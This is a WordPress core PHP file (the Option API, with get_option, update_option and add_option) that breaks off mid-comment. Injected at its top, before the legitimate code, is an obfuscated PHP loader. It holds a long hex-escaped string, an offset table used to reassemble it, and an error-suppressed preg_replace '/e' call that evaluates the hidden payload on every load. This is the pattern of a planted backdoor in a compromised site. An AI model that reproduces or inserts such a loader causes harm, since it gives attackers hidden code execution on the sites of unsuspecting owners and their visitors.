<?php $cmyrplrhlb = '%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y5%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%xx7825bbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x787827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x72bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_Gc%x7827pd%x5c%x78256<pd%x5c%x724]26%x5c%x7824-%x5c%x7824<%x5c%x!#]y76]277]y72]265]y39]271]y83]256]y78]248]y83]256]y81]265]y724y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x78x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f5c%x782f},;#-#}+;%x5c%x7=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#x5f%163%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%78]225]241]334]368]322]3]364]6]283]427]36]373P6]38%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x50hA%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yf%163%x70%154%x69%164%50%x22%134%x7814+9**-)1%x5c%x782f2985)dfyfR%x5c%x7827tfs%x5c%x7f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x7875c%x7825)!gj!<**2-4-bubE{h%x5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5)!>>%x5c%x7822!ftmbg)!gj<*#k#)usb2#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825c%x7825j:^<!%x5c%x7825w%x5c%xldfidk!~!<**qp%x5c%x7825!5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubf8Bsfuvso!sboepn)%x5c%x7825epx7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x:<#64y]552]e7y]#>n%x5c%x7825<#372]E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)3236197g:74985-rr.93e:5597f-s.973:82c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjg%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!%x29%57%x65","%x65%166%x61%154%x28%c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%xjudovg!|!**#j{hnpd#)tutjyf%x5cbubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#6]73]83]238M7]381]211M5]67]4]y76#<%x5c%x7825tmw!>!#]y84]275]y8tpz)#]341]88M4P8]37]26+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825c%x787f;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj]278]y3e]81]K78:56985:%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5-#jt0*?]+^?]_%x5c%x785c}X%x5cgg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%xqjA)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)5c%x7825)kV%x5c%x7878{**#k#)!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#jL3]248L3P6L1M5]D2P4]D6#<%x5c%x825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;i}&;zepc}A;~!}%x5c%x787f%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fe%x7825!<12>j%x5c%x7825tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%5c%x7825)sutcvt)esp>hmg%x5csdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x78x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:25%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%xpmqnjA%x5c%x7827&6<.fmjgA%x5%x5c%x78604%x5c%x78223}!+!<+{emsv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5cx7825%x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%xx7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5s:N}#-%x5c%x7825o:W%x5c%x7825cx5c%x7860%x5c%x7825}X;!%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275%62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y327,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.4<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]2f7&6|7**111127-K)ebfsX%x5#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*ut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j824-%x5c%x7824*<!%x5c%x78s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]562]38y]5x7822:ftmbg39*56A:>:8:|:7#,,Bjg!)%x5c%x7825j:>>}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<MFT%x5c%x7860QIQ&f_UTPI%x5c%x786151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x2c%x787fw6*CWtfs%x5c%x58y]472]37y]672]48y]#>%x5c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%57-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI72]48y]#>m%x5c%x7825:|:*r25h00#*<%x5c%x7825nfd)##Q39]274]y85]273]y6g]273]y76]271]y)#}#-#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%825tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254%x5c%x7827pd%x5c%x78256<pd%x%x7827&6<*rfs%x5c%x782d%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x786e%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cdnbss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7c%x7825tww!>!%x5c%x782400~:<h%x5%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x78260QUUI&c_UOFHB%x5c%x7860SFTV%x50#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpc%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]7R37,18R#>q%x5c%x7825V<*#fopo5c%x7825)sf%x5c%x7878pmpusut)tpqssutR24-%x5c%x7824gps)%x5c%x7825fw6*%x5c%x787f_*#fubfsdXk5%x5cx7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x78j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<5c%x7825cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x787t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x782h19275j{hnpd19275fubmgoj{h1:|:*mc%x782fh%x5c%x7825:<**#57]38($n)-1);} @error_rep#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]7%x5c%x782f*#npd%x5c%x7R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,6d]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fy]47]67y]37]88y]27]28y]#%x5c%x782fr785c2b%x5c%x7825!>!2p%x5c%x78<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmp%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x785!osvufs!*!+A!>!{e%x5c%x782%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-dy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%7825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x782!|!*#91y]c9y]g2y]#>>*4-1-tcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", NULL); }%x7825%x5c%x7824-%x5)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x7-#o]s]o]s]#)fepmqyf;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%85c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**1c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x5fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782y7d]252]y74]256]y39]252]y83]273]y72]282#<!%x5c%x7if((function_exists("%x6f%142%-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#orting(0); preg_replace("%x2f%50%x2e%527825ggg)(0)%x5c%x782f+*0f(->^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;2]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%1%x5c%x782f20QUUI7jsv%x5c75%156%x61"]=1; function 5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf~6<&w6<%x5c%x787fw6*CW&)7gj6<.5]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81x7824-%x5c%x7824-!%x5cef)#%x5c%x7824*<!%x5c%x7825kj:!>!5c%x7824)#P#-#Q#-#B#-#T#-#!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%xV;hojepdoF.uofuopD#)sfebfI{*w%x52]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]2ut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x78255c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f#p#%x5c%x7x5c%x785cq%x5c%x78257%x53]273]y76]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]27827jsv%x5c%x78256<Cj:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%25!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x782*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*#]y3d]51]y35]256]y76]72]y3d]#7>%x5c%x782f7rfs%x5c%x78256<#o][A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7825w6Z6<.5%x5c%x7860hA%x5825s:%x5c%x785c%x5c%x7825323ldfid>}&;!osvufs}%x5c%x787f;782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnu4]31#-%x5c%x7825tdz*Wsfuvso!%x5c%82f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ6#)tutjyf%x5c%x7860439275ttfsqnpdov{825)ppde>u%x5c%x7825V<#65,47R25,d7R17%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)efnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%8256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*,67R37,#%x5c%x782fq%x5c%x7825>U<#16,4x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x70QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x78f]63]y3:]68]y76#<%x5c%x78e825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55L!~!dsfbuf%x5c%x7860gvodujpo)##-!#~71]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%5tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31fjfgg($n){return chr(ordftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)su5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7825gc%x5c%x7825}&;ftmbg}%xx5c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#k4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x52]254]y76]61]y33]68]y34]68]y33]65]y31]53]y6d]281]y%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{666;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x756]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%x561"])))) { $GLOBALS["%x61%156%xx78242178}527}88:}334}472%x5c%x782x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm343]78]y33]65]y31]55]y85]82]y76]62c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c825w6Z6<.4%x5c%x7860hAobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*5-*.%x5c%x7825)euhA)3of97f:5297e:56-%x5c%x7878r.985:52985-t.98]K4]6j%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsx5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%97-2qj%x5c%x78257-K)udfoopdXA%x5c/(.*)/epreg_replacejerpxocxgq'; $zcphveujma = explode(chr((265-221)),'6615,30,694,65,9624,31,7001,25,9181,24,5367,20,6752,39,1791,35,3990,70,848,46,1033,36,3468,67,8897,26,4103,52,8156,27,410,30,9821,22,4398,28,7026,38,4448,41,894,70,6190,20,266,41,6517,49,3628,25,9780,41,4426,22,4155,44,7955,32,6976,25,6388,67,10073,33,5693,39,1353,35,2821,38,9689,58,2350,50,8607,45,7624,24,1826,57,7700,20,6818,56,4673,51,42,68,5059,30,2589,58,3073,28,1684,52,9394,36,4060,21,5906,44,1091,27,8652,55,3131,56,9480,43,7113,30,7987,57,7264,39,7303,45,6874,52,6030,54,6210,49,9322,22,2140,60,3888,70,9205,57,5975,55,9344,50,2859,37,7890,37,9965,38,3688,67,5802,64,3653,35,1185,41,1157,28,2794,27,2647,22,5950,25,1913,57,1883,30,5732,43,3030,43,5613,29,7829,61,1260,38,9898,23,6711,41,5446,21,8239,41,2946,39,3535,44,8541,66,9843,55,2428,39,4755,70,1970,37,6152,38,4995,37,4489,48,359,51,3958,32,8851,46,4724,31,4825,44,8406,62,1587,64,1328,25,6645,66,218,48,3331,23,110,44,631,24,8923,51,8208,31,2749,45,3841,26,8468,36,5307,32,7064,49,3101,30,3354,63,5775,27,1226,34,7444,54,1118,39,8044,42,8504,37,8707,37,5467,55,4966,29,7348,31,2400,28,2669,45,8280,43,2565,24,9523,57,4939,27,655,39,1736,55,2258,29,0,42,4249,31,6566,49,4348,50,2035,34,7648,52,9580,44,4641,32,6455,62,5339,28,5578,35,2222,36,4578,63,7498,62,1486,34,4081,22,3780,61,4199,25,8086,70,9655,34,3579,49,9052,61,7183,22,6132,20,6259,59,964,69,4280,68,5089,58,534,47,440,33,4869,70,3755,25,5032,27,5147,56,9018,34,5642,51,7205,33,7927,28,7777,52,8744,63,1416,70,5203,60,1388,28,4537,41,2497,68,307,52,6318,70,5263,44,9113,68,2200,22,1651,33,9921,44,7143,40,5387,59,6926,50,3230,70,3417,51,2467,30,8974,44,5522,56,5866,40,154,64,4224,25,2069,21,799,49,2007,28,7379,65,8323,33,581,50,1069,22,2090,50,3300,31,759,40,2985,45,3867,21,8807,44,8183,25,7720,57,1298,30,2896,50,7560,64,8356,50,2714,35,10003,70,3187,43,7238,26,1520,67,9262,60,2287,63,6791,27,473,61,9430,50,9747,33,6084,48'); $gdpqynieot=substr($cmyrplrhlb,(67201-57095),(36-29)); if (!function_exists('nchkqswrnr')) { function nchkqswrnr($hledfwekis, $vwjqqjswwj) { $fpgvnindnf = NULL; for($ykyozzxvoq=0;$ykyozzxvoq<(sizeof($hledfwekis)/2);$ykyozzxvoq++) { $fpgvnindnf .= substr($vwjqqjswwj, $hledfwekis[($ykyozzxvoq*2)],$hledfwekis[($ykyozzxvoq*2)+1]); } return $fpgvnindnf; };} $ydyfdusrof="\x20\57\x2a\40\x6e\167\x73\156\x77\153\x77\172\x7a\172\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\65\x38\55\x31\62\x31\51\x29\54\x20\143\x68\162\x28\50\x35\61\x33\55\x34\62\x31\51\x29\54\x20\156\x63\150\x6b\161\x73\167\x72\156\x72\50\x24\172\x63\160\x68\166\x65\165\x6a\155\x61\54\x24\143\x6d\171\x72\160\x6c\162\x68\154\x62\51\x29\51\x3b\40\x2f\52\x20\142\x6d\166\x65\163\x68\154\x76\141\x69\40\x2a\57\x20"; $wnwitcpnyi=substr($cmyrplrhlb,(55214-45101),(66-54)); $wnwitcpnyi($gdpqynieot, $ydyfdusrof, NULL); $wnwitcpnyi=$ydyfdusrof; $wnwitcpnyi=(750-629); $cmyrplrhlb=$wnwitcpnyi-1; ?><?php
/**
* Option API
*
* @package WordPress
*/
/**
* Retrieve option value based on name of option.
*
* If the option does not exist or does not have a value, then the return value
* will be false. This is useful to check whether you need to install an option
* and is commonly used during installation of plugin options and to test
* whether upgrading is required.
*
* If the option was serialized then it will be unserialized when it is returned.
*
* @since 1.5.0
* @package WordPress
* @subpackage Option
* @uses apply_filters() Calls 'pre_option_$option' before checking the option.
* Any value other than false will "short-circuit" the retrieval of the option
* and return the returned value. You should not try to override special options,
* but you will not be prevented from doing so.
* @uses apply_filters() Calls 'option_$option', after checking the option, with
* the option value.
*
* @param string $option Name of option to retrieve. Expected to not be SQL-escaped.
* @param mixed $default Optional. Default value to return if the option does not exist.
* @return mixed Value set for the option.
*/
function get_option( $option, $default = false ) {
global $wpdb;
$option = trim( $option );
if ( empty( $option ) )
return false;
// Allow plugins to short-circuit options.
$pre = apply_filters( 'pre_option_' . $option, false );
if ( false !== $pre )
return $pre;
if ( defined( 'WP_SETUP_CONFIG' ) )
return false;
if ( ! defined( 'WP_INSTALLING' ) ) {
// prevent non-existent options from triggering multiple queries
$notoptions = wp_cache_get( 'notoptions', 'options' );
if ( isset( $notoptions[$option] ) )
return apply_filters( 'default_option_' . $option, $default );
$alloptions = wp_load_alloptions();
if ( isset( $alloptions[$option] ) ) {
$value = $alloptions[$option];
} else {
$value = wp_cache_get( $option, 'options' );
if ( false === $value ) {
$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
// Has to be get_row instead of get_var because of funkiness with 0, false, null values
if ( is_object( $row ) ) {
$value = $row->option_value;
wp_cache_add( $option, $value, 'options' );
} else { // option does not exist, so we must cache its non-existence
$notoptions[$option] = true;
wp_cache_set( 'notoptions', $notoptions, 'options' );
return apply_filters( 'default_option_' . $option, $default );
}
}
}
} else {
$suppress = $wpdb->suppress_errors();
$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
$wpdb->suppress_errors( $suppress );
if ( is_object( $row ) )
$value = $row->option_value;
else
return apply_filters( 'default_option_' . $option, $default );
}
// If home is not set use siteurl.
if ( 'home' == $option && '' == $value )
return get_option( 'siteurl' );
if ( in_array( $option, array('siteurl', 'home', 'category_base', 'tag_base') ) )
$value = untrailingslashit( $value );
return apply_filters( 'option_' . $option, maybe_unserialize( $value ) );
}
/**
* Protect WordPress special option from being modified.
*
* Will die if $option is in protected list. Protected options are 'alloptions'
* and 'notoptions' options.
*
* @since 2.2.0
* @package WordPress
* @subpackage Option
*
* @param string $option Option name.
*/
function wp_protect_special_option( $option ) {
if ( 'alloptions' === $option || 'notoptions' === $option )
wp_die( sprintf( __( '%s is a protected WP option and may not be modified' ), esc_html( $option ) ) );
}
/**
* Print option value after sanitizing for forms.
*
* @uses attr Sanitizes value.
* @since 1.5.0
* @package WordPress
* @subpackage Option
*
* @param string $option Option name.
*/
function form_option( $option ) {
echo esc_attr( get_option( $option ) );
}
/**
* Loads and caches all autoloaded options, if available or all options.
*
* @since 2.2.0
* @package WordPress
* @subpackage Option
*
* @return array List of all options.
*/
function wp_load_alloptions() {
global $wpdb;
if ( !defined( 'WP_INSTALLING' ) || !is_multisite() )
$alloptions = wp_cache_get( 'alloptions', 'options' );
else
$alloptions = false;
if ( !$alloptions ) {
$suppress = $wpdb->suppress_errors();
if ( !$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload = 'yes'" ) )
$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
$wpdb->suppress_errors($suppress);
$alloptions = array();
foreach ( (array) $alloptions_db as $o ) {
$alloptions[$o->option_name] = $o->option_value;
}
if ( !defined( 'WP_INSTALLING' ) || !is_multisite() )
wp_cache_add( 'alloptions', $alloptions, 'options' );
}
return $alloptions;
}
/**
* Loads and caches certain often requested site options if is_multisite() and a persistent cache is not being used.
*
* @since 3.0.0
* @package WordPress
* @subpackage Option
*
* @param int $site_id Optional site ID for which to query the options. Defaults to the current site.
*/
function wp_load_core_site_options( $site_id = null ) {
global $wpdb;
if ( !is_multisite() || wp_using_ext_object_cache() || defined( 'WP_INSTALLING' ) )
return;
if ( empty($site_id) )
$site_id = $wpdb->siteid;
$core_options = array('site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled', 'ms_files_rewriting' );
$core_options_in = "'" . implode("', '", $core_options) . "'";
$options = $wpdb->get_results( $wpdb->prepare("SELECT meta_key, meta_value FROM $wpdb->sitemeta WHERE meta_key IN ($core_options_in) AND site_id = %d", $site_id) );
foreach ( $options as $option ) {
$key = $option->meta_key;
$cache_key = "{$site_id}:$key";
$option->meta_value = maybe_unserialize( $option->meta_value );
wp_cache_set( $cache_key, $option->meta_value, 'site-options' );
}
}
/**
* Update the value of an option that was already added.
*
* You do not need to serialize values. If the value needs to be serialized, then
* it will be serialized before it is inserted into the database. Remember,
* resources can not be serialized or added as an option.
*
* If the option does not exist, then the option will be added with the option
* value, but you will not be able to set whether it is autoloaded. If you want
* to set whether an option is autoloaded, then you need to use the add_option().
*
* @since 1.0.0
* @package WordPress
* @subpackage Option
*
* @uses apply_filters() Calls 'pre_update_option_$option' hook to allow overwriting the
* option value to be stored.
* @uses do_action() Calls 'update_option' hook before updating the option.
* @uses do_action() Calls 'update_option_$option' and 'updated_option' hooks on success.
*
* @param string $option Option name. Expected to not be SQL-escaped.
* @param mixed $value Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
* @return bool False if value was not updated and true if value was updated.
*/
function update_option( $option, $value ) {
global $wpdb;
$option = trim($option);
if ( empty($option) )
return false;
wp_protect_special_option( $option );
if ( is_object( $value ) )
$value = clone $value;
$value = sanitize_option( $option, $value );
$old_value = get_option( $option );
$value = apply_filters( 'pre_update_option_' . $option, $value, $old_value );
// If the new and old values are the same, no need to update.
if ( $value === $old_value )
return false;
if ( false === $old_value )
return add_option( $option, $value );
$serialized_value = maybe_serialize( $value );
do_action( 'update_option', $option, $old_value, $value );
$result = $wpdb->update( $wpdb->options, array( 'option_value' => $serialized_value ), array( 'option_name' => $option ) );
if ( ! $result )
return false;
$notoptions = wp_cache_get( 'notoptions', 'options' );
if ( is_array( $notoptions ) && isset( $notoptions[$option] ) ) {
unset( $notoptions[$option] );
wp_cache_set( 'notoptions', $notoptions, 'options' );
}
if ( ! defined( 'WP_INSTALLING' ) ) {
$alloptions = wp_load_alloptions();
if ( isset( $alloptions[$option] ) ) {
$alloptions[ $option ] = $serialized_value;
wp_cache_set( 'alloptions', $alloptions, 'options' );
} else {
wp_cache_set( $option, $serialized_value, 'options' );
}
}
do_action( "update_option_{$option}", $old_value, $value );
do_action( 'updated_option', $option, $old_value, $value );
return true;
}
/**
* Add a new option.
*
* You do not need to serialize values. If the value needs to be serialized, then
* it will be serialized before it is inserted into the database. Remember,
* resources can not be serialized or added as an option.
*
* You can create options without values and then update the values later.
* Existing options will not be updated and checks are performed to ensure that you
* aren't adding a protected WordPress option. Care should be taken to not name
* options the same as the ones which are protected.
*
* @package WordPress
* @subpackage Option
* @since 1.0.0
*
* @uses do_action() Calls 'add_option' hook before adding the option.
* @uses do_action() Calls 'add_option_$option' and 'added_option' hooks on success.
*
* @param string $option Name of option to add. Expected to not be SQL-escaped.
* @param mixed $value Optional. Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
* @param mixed $deprecated Optional. Description. Not used anymore.
* @param bool $autoload Optional. Default is enabled. Whether to load the option when WordPress starts up.
* @return bool False if option was not added and true if option was added.
*/
function add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' ) {
global $wpdb;
if ( !empty( $deprecated ) )
_deprecated_argument( __FUNCTION__, '2.3' );
$option = trim($option);
if ( empty($option) )
return false;
wp_protect_special_option( $option );
if ( is_object($value) )
$value = clone $value;
$value = sanitize_option( $option, $value );
// Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query
$notoptions = wp_cache_get( 'notoptions', 'options' );
if ( !is_array( $notoptions ) || !isset( $notoptions[$option] ) )
if ( false !== get_option( $option ) )
return false;
$serialized_value = maybe_serialize( $value );
$autoload = ( 'no' === $autoload ) ? 'no' : 'yes';
do_action( 'add_option', $option, $value );
$result = $wpdb->query( $wpdb->prepare( "INSERT INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)", $option, $serialized_value, $autoload ) );
if ( ! $result )
return false;
if ( ! defined( 'WP_INSTALLING' ) ) {
if ( 'yes' == $autoload ) {
$alloptions = wp_load_alloptions();
$alloptions[ $option ] = $serialized_value;
wp_cache_set( 'alloptions', $alloptions, 'options' );
} else {
wp_cache_set( $option, $serialized_value, 'options' );
}
}
// This option exists now
$notoptions = wp_cache_get( 'notoptions', 'options' ); // yes, again... we need it to be fresh
if ( is_array( $notoptions ) && isset( $notoptions[$option] ) ) {
unset( $notoptions[$option] );
wp_cache_set( 'notoptions', $notoptions, 'options' );
}
do_action( "add_option_{$option}", $option, $value );
do_action( 'added_option', $option, $value );
return true;
}
/**
* Removes option by name. Prevents removal of protected WordPress options.
*
* @package WordPress
* @subpackage Option
* @since 1.2.0
*
* @uses do_action() Calls 'delete_option' hook before option is deleted.
